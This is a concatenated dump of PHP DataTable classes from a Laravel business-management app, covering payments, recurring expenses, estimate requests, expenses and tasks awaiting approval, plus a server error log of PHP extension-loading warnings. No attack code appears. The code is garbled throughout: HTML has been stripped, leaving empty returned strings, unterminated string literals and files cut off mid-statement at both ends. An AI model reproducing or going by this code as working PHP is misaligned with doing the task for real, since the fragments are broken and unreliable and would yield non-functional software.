from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { $datatables = datatables()->eloquent($query); $datatables->addIndexColumn(); return $datatables ->addColumn('check', function ($row) { if ($row->gateway == null || $row->gateway == 'Offline' || $row->status == 'failed') { return ''; } return ''; }) ->addColumn('action', function ($row) { $action = '
'; return $action; }) ->addColumn('short_code', function ($row) { if (is_null($row->project)) { return '--'; } return $row->project->project_short_code; }) ->editColumn('project_id', function ($row) { if (is_null($row->project)) { return '--'; } return '' . $row->project->project_name . ''; }) ->editColumn('invoice_number', function ($row) { if (!is_null($row->invoice_id) && !is_null($row->invoice)) { return '' . $row->invoice->invoice_number . ''; } return '--'; }) ->editColumn('client_id', function ($row) { $user = null; if (!is_null($row->invoice_id) && isset($row->invoice->client)) { $user = $row->invoice->client; } elseif (!is_null($row->project_id) && isset($row->project->client)) { $user = $row->project->client; } elseif (!is_null($row->order_id) && isset($row->order->client)) { $user = $row->order->client; } return $user ? view('components.client', ['user' => $user]) : '--'; }) ->addColumn('client_name', function ($row) { if (!is_null($row->invoice_id) && isset($row->invoice->client)) { return $row->invoice->client->name; } if (!is_null($row->project_id) && isset($row->project->client)) { return $row->project->client->name; } if (!is_null($row->order_id) && isset($row->order->client)) { return $row->order->client->name; } return '--'; }) ->editColumn('client_email', function ($row) { if (!is_null($row->invoice_id) && isset($row->invoice->client->email)) { return '' . ucfirst($row->invoice->client->email) . ''; /** @phpstan-ignore-line */ } if (!is_null($row->project_id) && isset($row->project->client->email)) { return '' . ucfirst($row->project->client->email) . ''; /** @phpstan-ignore-line */ } if (!is_null($row->order_id) && isset($row->order->client->email)) { return '' . ucfirst($row->order->client->email) . ''; /** @phpstan-ignore-line */ } return '--'; }) ->editColumn('order_number', function ($row) { if (!is_null($row->order_id) && !is_null($row->order)) { return '' . $row->order->order_number . ''; } return '--'; }) ->editColumn('status', function ($row) { $statusClass = match ($row->status) { 'pending' => 'text-yellow', 'failed' => 'text-red', default => 'text-dark-green', }; return '' . __('app.' . $row->status); }) ->editColumn('amount', function ($row) { $currencyId = (isset($row->currency)) ? $row->currency->id : ''; return currency_format($row->amount, $currencyId); }) ->editColumn('paid_on', function ($row) { if (!is_null($row->paid_on)) { return $row->paid_on->translatedFormat($this->company->date_format); } return '--'; } ) ->addIndexColumn() ->smart(false) ->setRowId(fn($row) => 'row-' . $row->id) ->rawColumns(['invoice', 'action', 'status', 'client_id', 'client_email', 'project_id', 'invoice_number', 'order_number', 'check']) ->removeColumn('invoice_id') ->removeColumn('currency_symbol') ->removeColumn('currency_code') ->removeColumn('project_name'); } /** * @return \Illuminate\Database\Eloquent\Builder */ public function query() { $request = $this->request(); $model = Payment::with([ 'invoice.client', 'invoice.client.clientDetails.company:id,logo,company_name', 'order.client', 'order.client.clientDetails.company:id,logo,company_name', 'currency:id,currency_symbol,currency_code', 'project:id,project_short_code,project_name' ]) ->leftJoin('invoices', 'invoices.id', '=', 'payments.invoice_id') ->leftJoin('projects', 'projects.id', '=', 'payments.project_id') ->leftJoin('orders', 'orders.id', '=', 'payments.order_id') ->select('payments.id', 'payments.company_id', 'payments.project_id', 'payments.currency_id', 'payments.invoice_id', 'payments.amount', 'payments.status', 'payments.paid_on', 'payments.remarks', 'payments.bill', 'payments.added_by', 'payments.order_id', 'payments.gateway', 'payments.transaction_id'); if (!$this->trashedData) { $model = $model->whereNull('projects.deleted_at'); } if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); $model = $model->where(DB::raw('DATE(payments.`paid_on`)'), '>=', $startDate); } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); $model = $model->where(DB::raw('DATE(payments.`paid_on`)'), '<=', $endDate); } if ($request->status != 'all' && !is_null($request->status)) { $model = $model->where('payments.status', '=', $request->status); } if ($request->projectID != 'all' && !is_null($request->projectID)) { $model = $model->where('payments.project_id', '=', $request->projectID); } if ($request->clientID != 'all' && !is_null($request->clientID)) { $clientId = $request->clientID; $model = $model->where(function ($query) use ($clientId) { $query->where('projects.client_id', $clientId) ->orWhere('invoices.client_id', $clientId) ->orWhere('orders.client_id', $clientId); }); } if (in_array('client', user_roles())) { $model = $model->where(function ($query) { $query->where('projects.client_id', user()->id) ->orWhere('invoices.client_id', user()->id) ->orWhere('orders.client_id', user()->id); }); } if ($request->searchText != '') { $model = $model->where(function ($query) { $query->where('projects.project_name', 'like', '%' . request('searchText') . '%') ->orWhere('payments.amount', 'like', '%' . request('searchText') . '%') ->orWhere('invoices.id', 'like', '%' . request('searchText') . '%') ->orWhere('projects.project_short_code', 'like', '%' . request('searchText') . '%'); }); } if ($this->viewPaymentPermission == 'added') { $model = $model->where('payments.added_by', user()->id); } return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('payments-table', 2) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["payments-table"].buttons().container() .appendTo( "#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { // }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ 'check' => [ 'title' => '', 'exportable' => false, 'orderable' => false, 'searchable' => false, 'visible' => !in_array('client', user_roles()) ], '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => !showId(), 'title' => '#'], __('app.id') => ['data' => 'id', 'name' => 'payments.id', 'title' => __('app.id'), 'visible' => showId()], __('modules.taskCode') => ['data' => 'short_code', 'name' => 'project_short_code', 'title' => __('modules.taskCode')], __('app.project') => ['data' => 'project_id', 'name' => 'project_id', 'title' => __('app.project'), 'width' => '10%'], __('app.invoice') . '#' => ['data' => 'invoice_number', 'name' => 'invoices.invoice_number', 'title' => __('app.invoice') . '#'], __('app.client') => ['data' => 'client_id', 'name' => 'client_id.name', 'orderable' => false, 'title' => __('app.client'), 'exportable' => false, 'visible' => (!in_array('client', user_roles()) && in_array('clients', user_modules()))], __('app.customers') => ['data' => 'client_name', 'name' => 'client_name', 'visible' => false, 'title' => __('app.client')], __('app.client_email') => ['data' => 'client_email', 'name' => 'client_email', 'visible' => false, 'title' => __('app.client_email')], __('app.order') . '#' => ['data' => 'order_number', 'name' => 'payments.order_id', 'title' => __('app.order') . '#'], __('modules.invoices.amount') => ['data' => 'amount', 'name' => 'amount', 'title' => __('modules.invoices.amount')], __('modules.payments.paidOn') => ['data' => 'paid_on', 'name' => 'paid_on', 'title' => __('modules.payments.paidOn')], __('modules.payments.paymentGateway') => ['data' => 'gateway', 'name' => 'gateway', 'title' => __('modules.payments.paymentGateway')], __('app.status') => ['data' => 'status', 'name' => 'status', 'title' => __('app.status')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; } } DataTables/RecurringExpensesDataTable.php000064400000021726150325104510014502 0ustar00viewExpensesPermission = user()->permission('view_expenses'); $this->deleteExpensePermission = user()->permission('delete_expenses'); $this->editExpensePermission = user()->permission('edit_expenses'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { $datatables = datatables()->eloquent($query); $datatables->addIndexColumn(); return $datatables ->addColumn('action', function ($row) { $action = '
'; return $action; }) ->editColumn( 'next_expense_date', function ($row) { if (is_null($row->next_expense_date)) { return '--'; } $rotation = 'next_expense_date->timezone($this->company->timezone)->translatedFormat($this->company->date_format); return $date . $rotation; } ) ->editColumn('price', function ($row) { return $row->total_amount; }) ->editColumn('user_id', function ($row) { return view('components.employee', [ 'user' => $row->user ]); }) ->addColumn('employee_name', function ($row) { return $row->user_id ? $row->user->name : '--'; }) ->addColumn('status', function ($row) { $selectActive = $row->status == 'active' ? 'selected' : ''; $selectInactive = $row->status != 'active' ? 'selected' : ''; $role = ''; return $role; }) ->addColumn('status_export', function ($row) { return $row->status; }) ->addIndexColumn() ->rawColumns(['action', 'status', 'user_id', 'next_expense_date']) ->removeColumn('currency_id') ->removeColumn('name') ->removeColumn('currency_symbol') ->removeColumn('updated_at') ->removeColumn('created_at'); } /** * @return \Illuminate\Database\Eloquent\Builder */ public function query(ExpenseRecurring $model) { $request = $this->request(); $model = $model->with(['project' => function ($q) { $q->withTrashed(); $q->select('id', 'project_name', 'client_id'); }, 'currency:id,currency_symbol,currency_code', 'project.client', 'user']) ->select('expenses_recurring.id', 'expenses_recurring.project_id', 'expenses_recurring.currency_id', 'expenses_recurring.price', 'expenses_recurring.status', 'expenses_recurring.item_name', 'expenses_recurring.user_id', 'expenses_recurring.rotation', 'expenses_recurring.next_expense_date'); if ($request->status != 'all' && !is_null($request->status)) { $model = $model->where('expenses_recurring.status', '=', $request->status); } if ($request->projectId != 'all' && !is_null($request->projectId)) { $model = $model->where('expenses_recurring.project_id', '=', $request->projectId); } if ($request->searchText != '') { $model = $model->where(function ($query) { $query->where('expenses_recurring.id', 'like', '%' . request('searchText') . '%') ->orWhere('expenses_recurring.price', 'like', '%' . request('searchText') . '%'); }); } $model = $model->whereHas('project', function ($q) { $q->whereNull('deleted_at'); }, '>=', 0); return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('recurring-expenses-table') ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["recurring-expenses-table"].buttons().container() .appendTo( "#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $(".change-expense-status").selectpicker(); }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => !showId()], __('app.id') => ['data' => 'id', 'name' => 'expenses_recurring.id', 'title' => __('app.id'),'visible' => showId()], __('modules.expenses.itemName') => ['data' => 'item_name', 'name' => 'item_name', 'title' => __('modules.expenses.itemName')], __('app.price') => ['data' => 'price', 'name' => 'price', 'title' => __('app.price')], __('app.menu.employees') => ['data' => 'user_id', 'name' => 'user_id', 'title' => __('app.menu.employees'), 'exportable' => false], __('app.employee') => ['data' => 'employee_name', 'name' => 'user_id', 'visible' => false, 'title' => __('app.employee')], __('modules.expensesRecurring.nextExpense') => ['data' => 'next_expense_date', 'name' => 'next_expense_date', 'title' => __('modules.expensesRecurring.nextExpense')], __('app.status') => ['data' => 'status', 'name' => 'status', 'exportable' => false, 'title' => __('app.status')], __('app.expense') . ' ' . __('app.status') => ['data' => 'status_export', 'name' => 'status_export', 'visible' => false, 'title' => __('app.status')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->width(150) ->addClass('text-right pr-20') ]; } } DataTables/EstimateRequestDataTable.php000064400000032471150325104510014152 0ustar00addEstimatePermission = user()->permission('add_estimates'); $this->editEstimateRequestPermission = user()->permission('edit_estimate_request'); $this->deleteEstimateRequestPermission = user()->permission('delete_estimate_request'); $this->rejectEstimateRequestPermission = user()->permission('reject_estimate_request'); $this->viewEstimateRequestPermission = user()->permission('view_estimate_request'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { $userId = UserService::getUserId(); $clientIds = ClientContact::where('user_id', $userId)->pluck('client_id')->toArray(); return datatables() ->eloquent($query) ->addIndexColumn() ->editColumn('estimate_request_number', function ($row) { return '' . $row->estimate_request_number . ''; }) ->editColumn('client', function ($row) { return '
' . $row->client->name . '
' . $row->client->name_salutation . '

' . $row->client->clientDetails?->company_name . '

'; }) ->editColumn('estimated_budget', function ($row) { return currency_format($row->estimated_budget, $row->currency_id); }) ->editColumn('project', function ($row) { if ($row->project_id) { return ''; } return '--'; }) ->editColumn('estimate_id', function ($row) { if ($row->estimate) { return '' . $row->estimate->estimate_number . ''; } else { return '--'; } }) ->addColumn('action', function ($row) use ($userId, $clientIds) { $action = '
'; return $action; }) ->addColumn('status1', function ($row) { $select = ''; if ($row->status == 'pending' || $row->status == 'in process') { $select .= '' . __('app.pending') . ''; } elseif ($row->status == 'rejected') { $select .= '' . __('app.' . $row->status) . ''; } else { $select .= '' . __('app.' . $row->status) . ''; } return $select; }) ->addColumn('status_name', function ($row) { return $row->status; }) ->addColumn('early_requirement', function ($row) { return $row->early_requirement ?? '--'; }) ->rawColumns(['action', 'status1', 'client', 'project', 'estimate_id', 'estimate_request_number']); } /** * Get query source of dataTable. * * @return \Illuminate\Database\Eloquent\Builder */ public function query(EstimateRequest $model) { $userId = UserService::getUserId(); $searchText = request('searchText'); $model = $model->select('estimate_requests.*') ->leftJoin('estimates', 'estimates.id', '=', 'estimate_requests.estimate_id') ->leftJoin('users', 'users.id', '=', 'estimate_requests.client_id') ->leftJoin('currencies', 'currencies.id', '=', 'estimate_requests.currency_id') ->leftJoin('projects', 'projects.id', '=', 'estimate_requests.project_id') ->leftJoin('client_details', 'client_details.user_id', '=', 'users.id') ->withoutGlobalScopes([ActiveScope::class, CompanyScope::class]) ->where(function ($query) use ($searchText) { $query->where('users.name', 'like', '%' . $searchText . '%') ->orWhere('users.email', 'like', '%' . $searchText . '%'); }); if (request()->has('client') && request()->client != 'all') { $model = $model->whereHas('client', function ($query) { $query->where('id', request()->client); }); } if (in_array('client', user_roles())) { $model = $model->where('estimate_requests.client_id', $userId); } if (request()->has('status') && request()->status != 'all') { if (request()->status == 'pending') { $model = $model->whereIn('estimate_requests.status', ['pending', 'in process']); } else { $model = $model->where('estimate_requests.status', request()->status); } } if ($this->viewEstimateRequestPermission == 'added') { $model->where('estimate_requests.added_by', $userId); } if ($this->viewEstimateRequestPermission == 'both') { $model->where(function ($query) use ($userId) { $query->where('estimate_requests.added_by', $userId) ->orWhere('estimate_requests.client_id', $userId); }); } if ($this->viewEstimateRequestPermission == 'owned') { $model->where('estimate_requests.client_id', $userId); } return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('estimate-request-table', 0) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["estimate-request-table"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }); $(".select-picker").selectpicker(); }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ '#' => ['data' => 'id', 'name' => 'id', 'visible' => false], __('modules.estimateRequest.estimateRequest') . ' ' . __('app.number') => ['data' => 'estimate_request_number', 'name' => 'estimate_request_number', 'title' => __('modules.estimateRequest.estimateRequest') . ' ' . __('app.number')], __('app.clientName') => ['data' => 'client', 'name' => 'users.name', 'title' => __('app.clientName')], __('app.project') => ['data' => 'project', 'name' => 'projects.project_name', 'title' => __('app.project')], __('modules.estimateRequest.estimatedBudget') => ['data' => 'estimated_budget', 'name' => 'estimated_budget', 'title' => __('modules.estimateRequest.estimatedBudget')], __('app.estimate') => ['data' => 'estimate_id', 'name' => 'estimate_id', 'title' => __('app.estimate')], __('app.status') => ['data' => 'status1', 'name' => 'status','width' => '10%', 'exportable' => false, 'visible' => true, 'title' => __('app.status')], __('modules.estimateRequest.earlyRequirement') => ['data' => 'early_requirement', 'name' => 'early_requirement', 'visible' => false], __('modules.estimateRequest.estimateRequest') . ' ' . __('app.status') => ['data' => 'status_name', 'name' => 'status', 'visible' => false, 'exportable' => true, 'title' => __('modules.estimateRequest.estimateRequest') . ' ' . __('app.status')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->width(100) ->addClass('text-right pr-20') ]; } } DataTables/ExpensesDataTable.php000064400000034415150325104510012620 0ustar00editExpensePermission = user()->permission('edit_expenses'); $this->deleteExpensePermission = user()->permission('delete_expenses'); $this->viewExpensePermission = user()->permission('view_expenses'); $this->approveExpensePermission = user()->permission('approve_expenses'); $this->includeSoftDeletedProjects = $includeSoftDeletedProjects; } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { $datatables = datatables()->eloquent($query); $datatables->addIndexColumn(); $datatables->addColumn('check', fn($row) => $this->checkBox($row)); $datatables->addColumn('action', function ($row) { $action = '
'; return $action; }); $datatables->editColumn('price', fn($row) => $row->total_amount); $datatables->editColumn('item_name', function ($row) { $link = '' . $row->item_name . ''; return is_null($row->expenses_recurring_id) ? $link : "$link

" . __('app.recurring') . "

"; }); $datatables->addColumn('export_item_name', fn($row) => $row->item_name); $datatables->addColumn('employee_name', fn($row) => $row->user?->name); $datatables->editColumn('user_id', fn($row) => view('components.employee', ['user' => $row->user])); $datatables->editColumn('status', function ($row) { if ( $this->approveExpensePermission != 'none' && ( $this->approveExpensePermission == 'all' || ($this->approveExpensePermission == 'added' && $row->added_by == user()->id) || ($this->approveExpensePermission == 'owned' && $row->user_id == user()->id) || ($this->approveExpensePermission == 'both' && ($row->user_id == user()->id || $row->added_by == user()->id)) ) ) { $status = ''; } else { if ($row->status == 'pending') { $class = 'text-yellow'; $status = __('app.pending'); } else if ($row->status == 'approved') { $class = 'text-light-green'; $status = __('app.approved'); } else { $class = 'text-red'; $status = __('app.rejected'); } $status = ' ' . $status; } return $status; }); $datatables->addColumn('status_export', fn($row) => $row->status); $datatables->editColumn('purchase_date', fn($row) => $row->purchase_date?->translatedFormat($this->company->date_format)); $datatables->editColumn('purchase_from', fn($row) => $row->purchase_from ?? '--'); $datatables->smart(false); $datatables->setRowId(fn($row) => 'row-' . $row->id); $datatables->addIndexColumn(); $datatables->removeColumn('currency_id'); $datatables->removeColumn('name'); $datatables->removeColumn('currency_symbol'); $datatables->removeColumn('updated_at'); $datatables->removeColumn('created_at'); // Custom Fields For export $customFieldColumns = CustomField::customFieldData($datatables, Expense::CUSTOM_FIELD_MODEL); $datatables->rawColumns(array_merge(['action', 'status', 'user_id', 'item_name', 'check'], $customFieldColumns)); return $datatables; } /** * @return \Illuminate\Database\Eloquent\Builder */ public function query() { $request = $this->request(); $model = Expense::with('currency', 'user', 'user.employeeDetail', 'user.employeeDetail.designation', 'user.session') ->select('expenses.id', 'expenses.project_id', 'expenses.item_name', 'expenses.user_id', 'expenses.price', 'users.salutation', 'users.name', 'expenses.purchase_date', 'expenses.currency_id', 'currencies.currency_symbol', 'expenses.status', 'expenses.purchase_from', 'expenses.expenses_recurring_id', 'designations.name as designation_name', 'expenses.added_by', 'projects.deleted_at as project_deleted_at') ->leftjoin('users', 'users.id', 'expenses.user_id') ->leftJoin('employee_details', 'employee_details.user_id', '=', 'users.id') ->leftJoin('designations', 'employee_details.designation_id', '=', 'designations.id') ->leftJoin('projects', 'projects.id', 'expenses.project_id') ->join('currencies', 'currencies.id', 'expenses.currency_id'); if (!$this->includeSoftDeletedProjects) { $model->whereNull('projects.deleted_at'); } if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); $model = $model->where(DB::raw('DATE(expenses.`purchase_date`)'), '>=', $startDate); } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); $model = $model->where(DB::raw('DATE(expenses.`purchase_date`)'), '<=', $endDate); } if ($request->status != 'all' && !is_null($request->status)) { $model = $model->where('expenses.status', '=', $request->status); } if ($request->employee != 'all' && !is_null($request->employee)) { $model = $model->where('expenses.user_id', '=', $request->employee); } if ($request->projectId != 'all' && !is_null($request->projectId)) { $model = $model->where('expenses.project_id', '=', $request->projectId); } if ($request->categoryId != 'all' && !is_null($request->categoryId)) { $model = $model->where('expenses.category_id', '=', $request->categoryId); } if ($request->recurringID != '') { $model = $model->where('expenses.expenses_recurring_id', '=', $request->recurringID); } if ($request->searchText != '') { $model->where(function ($query) { $query->where('expenses.item_name', 'like', '%' . request('searchText') . '%') ->orWhere('users.name', 'like', '%' . request('searchText') . '%') ->orWhere('expenses.price', 'like', '%' . request('searchText') . '%') ->orWhere('expenses.purchase_from', 'like', '%' . request('searchText') . '%'); }); } if ($this->viewExpensePermission == 'added') { $model->where('expenses.added_by', user()->id); } if ($this->viewExpensePermission == 'owned') { $model->where('expenses.user_id', user()->id); } if ($this->viewExpensePermission == 'both') { $model->where(function ($query) { $query->where('expenses.added_by', user()->id) ->orWhere('expenses.user_id', user()->id); }); } return $model->groupBy('expenses.id'); } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('expenses-table', 2) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["expenses-table"].buttons().container() .appendTo( "#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $(".change-expense-status").selectpicker(); }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { $data = [ 'check' => [ 'title' => '', 'exportable' => false, 'orderable' => false, 'searchable' => false ], '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => !showId(),'title' => '#'], __('app.id') => ['data' => 'id', 'name' => 'expenses.id', 'title' => __('app.id'),'visible' => showId()], __('modules.expenses.itemName') => ['data' => 'item_name', 'name' => 'item_name', 'exportable' => false, 'title' => __('modules.expenses.itemName')], __('app.menu.itemName') => ['data' => 'export_item_name', 'name' => 'export_item_name', 'visible' => false, 'title' => __('modules.expenses.itemName')], __('app.price') => ['data' => 'price', 'name' => 'price', 'title' => __('app.price')], __('app.menu.employees') => ['data' => 'user_id', 'name' => 'user_id', 'exportable' => false, 'title' => __('app.menu.employees')], __('app.employee') => ['data' => 'employee_name', 'name' => 'user_id', 'visible' => false, 'title' => __('app.employee')], __('modules.expenses.purchaseFrom') => ['data' => 'purchase_from', 'name' => 'purchase_from', 'title' => __('modules.expenses.purchaseFrom')], __('modules.expenses.purchaseDate') => ['data' => 'purchase_date', 'name' => 'purchase_date', 'title' => __('modules.expenses.purchaseDate')], __('app.status') => ['data' => 'status', 'name' => 'status', 'exportable' => false, 'title' => __('app.status')], __('app.expense') . ' ' . __('app.status') => ['data' => 'status_export', 'name' => 'status', 'visible' => false, 'title' => __('app.expense')] ]; $action = [ Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; return array_merge($data, CustomFieldGroup::customFieldsDataMerge(new Expense()), $action); } } DataTables/error_log000064400000001626150325104510010466 0ustar00[04-Jul-2025 12:47:06 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:17:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 DataTables/WaitingForApprovalDataTable.php000064400000074000150325104510014576 0ustar00editTaskPermission = user()->permission('edit_tasks'); $this->deleteTaskPermission = user()->permission('delete_tasks'); $this->viewTaskPermission = user()->permission('view_tasks'); $this->changeStatusPermission = user()->permission('change_status'); $this->viewUnassignedTasksPermission = user()->permission('view_unassigned_tasks'); $this->hasTimelogModule = (in_array('timelogs', user_modules())); $this->viewProjectTaskPermission = user()->permission('view_project_tasks'); $this->projectView = $projectView; $this->tabUrl = ($this->projectView == true) ? '?tab=project' : ''; } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { $taskBoardColumns = TaskboardColumn::orderBy('priority')->get(); $datatables = datatables()->eloquent($query); $datatables->addColumn('check', fn($row) => $this->checkBox($row, $row->activeTimer ? true : false)); $datatables->addColumn( 'action', function ($row) { $userRoles = user_roles(); $isAdmin = in_array('admin', $userRoles); $isEmployee = in_array('employee', $userRoles); $action = '
'; return $action; }); $datatables->editColumn('start_date', fn($row) => Common::dateColor($row->start_date, false)); $datatables->editColumn('due_date', fn($row) => Common::dateColor($row->due_date)); $datatables->editColumn('completed_on', fn($row) => Common::dateColor($row->completed_on)); $datatables->editColumn('users', function ($row) { if (count($row->users) == 0) { return '--'; } $key = ''; $members = '
'; foreach ($row->users as $key => $member) { if ($key < 4) { $img = ''; $position = $key > 0 ? 'position-absolute' : ''; $members .= ' '; } } if (count($row->users) > 4 && $key) { $members .= ' '; } $members .= '
'; return $members; }); $datatables->editColumn('short_code', function ($row) { if (is_null($row->task_short_code)) { return ' -- '; } return '' . $row->task_short_code . ''; }); $datatables->addColumn('name', function ($row) { $members = []; foreach ($row->users as $member) { $members[] = $member->name; } return implode(',', $members); }); $datatables->editColumn('clientName', fn($row) => $row->clientName ?: '--'); $datatables->addColumn('task', fn($row) => $row->heading); $datatables->addColumn('task_project_name', fn($row) => !is_null($row->project_id) ? $row->project_name : '--'); $datatables->addColumn('estimateTime', function ($row) { $time = $row->estimate_hours*60 + $row->estimate_minutes; return CarbonInterval::formatHuman($time); }); $datatables->addColumn('timeLogged', function ($row) { $estimatedTime = $row->estimate_hours*60 + $row->estimate_minutes; $timeLog = '--'; $loggedTime = ''; if ($row->timeLogged) { $totalMinutes = $row->timeLogged->sum('total_minutes'); $breakMinutes = $row->breakMinutes(); $loggedHours = $totalMinutes - $breakMinutes; // Convert total minutes to hours and minutes $hours = intdiv($loggedHours, 60); $minutes = $loggedHours % 60; // Format output based on hours and minutes $timeLog = $hours > 0 ? $hours . 'h' . ($minutes > 0 ? ' ' . sprintf('%02dm', $minutes) : '') : ($minutes > 0 ? sprintf('%dm', $minutes) : '0s'); } if($estimatedTime < $loggedHours){ $loggedTime = ''. $timeLog . ''; }else{ $loggedTime = ''. $timeLog . ''; } return $loggedTime; }); $datatables->editColumn('heading', function ($row) { $subTask = $labels = $private = $pin = $timer = ''; if ($row->is_private) { $private = ' ' . __('app.private') . ''; } if (($row->pinned_task)) { $pin = ' ' . __('app.pinned') . ''; } if ($row->active_timer_all_count > 1) { $timer .= ' ' . $row->active_timer_all_count . ' ' . __('modules.projects.activeTimers') . ''; } if ($row->activeTimer && $row->active_timer_all_count == 1) { $timer .= ' ' . $row->activeTimer->timer . ''; } if ($row->subtasks_count > 0) { $subTask .= ' ' . $row->completed_subtasks_count . '/' . $row->subtasks_count . ''; } foreach ($row->labels as $label) { $labels .= '' . $label->label_name . ''; } $name = ''; if (!is_null($row->project_id) && !is_null($row->id)) { $name .= '
' . $row->heading . '
' . $row->project_name . '
'; } else if (!is_null($row->id)) { $name .= '
' . $row->heading . '
'; } if ($row->repeat) { $name .= '' . __('modules.events.repeat') . ''; } return BaseModel::clickAbleLink(route('tasks.show', [$row->id]). $this->tabUrl, $name, $subTask . ' ' . $private . ' ' . $pin . ' ' . $timer . ' ' . $labels); }); $datatables->editColumn('board_column', function ($row) use ($taskBoardColumns) { $taskUsers = $row->users->pluck('id')->toArray(); if ($this->changeStatusPermission == 'all' || ($this->changeStatusPermission == 'added' && $row->added_by == user()->id) || ($this->changeStatusPermission == 'owned' && in_array(user()->id, $taskUsers)) || ($this->changeStatusPermission == 'both' && (in_array(user()->id, $taskUsers) || $row->added_by == user()->id)) || ($row->project_admin == user()->id) ) { // Check if approval_send is 1, then disable the select dropdown if ($row->approval_send == 1 && $row->need_approval_by_admin == 1 && (in_array('employee', user_roles()) && $row->project_admin != user()->id) && !in_array('admin', user_roles())) { return '' . $row->boardColumn->column_name . ''; }else{ $status = ''; return $status; } } return '' . $row->boardColumn->column_name . ''; }); $datatables->addColumn('status', fn($row) => $row->boardColumn->column_name); $datatables->setRowId(fn($row) => 'row-' . $row->id); $datatables->setRowClass(fn($row) => $row->pinned_task ? 'alert-primary' : ''); $datatables->removeColumn('project_id'); $datatables->removeColumn('image'); $datatables->removeColumn('created_image'); $datatables->removeColumn('label_color'); // CustomField For export $customFieldColumns = CustomField::customFieldData($datatables, Task::CUSTOM_FIELD_MODEL); $datatables->rawColumns(array_merge(['short_code', 'board_column', 'completed_on', 'action', 'clientName', 'due_date', 'users', 'heading', 'check', 'timeLogged', 'timer', 'start_date'], $customFieldColumns)); return $datatables; } /** * @param Task $model * @return mixed */ public function query(Task $model) { $request = $this->request(); $startDate = null; $endDate = null; if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); } $projectId = $request->projectId; $taskBoardColumn = TaskboardColumn::waitingForApprovalColumn(); $projectIds = Project::where('project_admin', user()->id)->pluck('id'); $model = $model->leftJoin('projects', 'projects.id', '=', 'tasks.project_id') ->leftJoin('users as client', 'client.id', '=', 'projects.client_id') ->join('taskboard_columns', 'taskboard_columns.id', '=', 'tasks.board_column_id') ->leftJoin('mention_users', 'mention_users.task_id', 'tasks.id'); if (($this->viewUnassignedTasksPermission == 'all' && !in_array('client', user_roles()) && ($request->assignedTo == 'unassigned' || 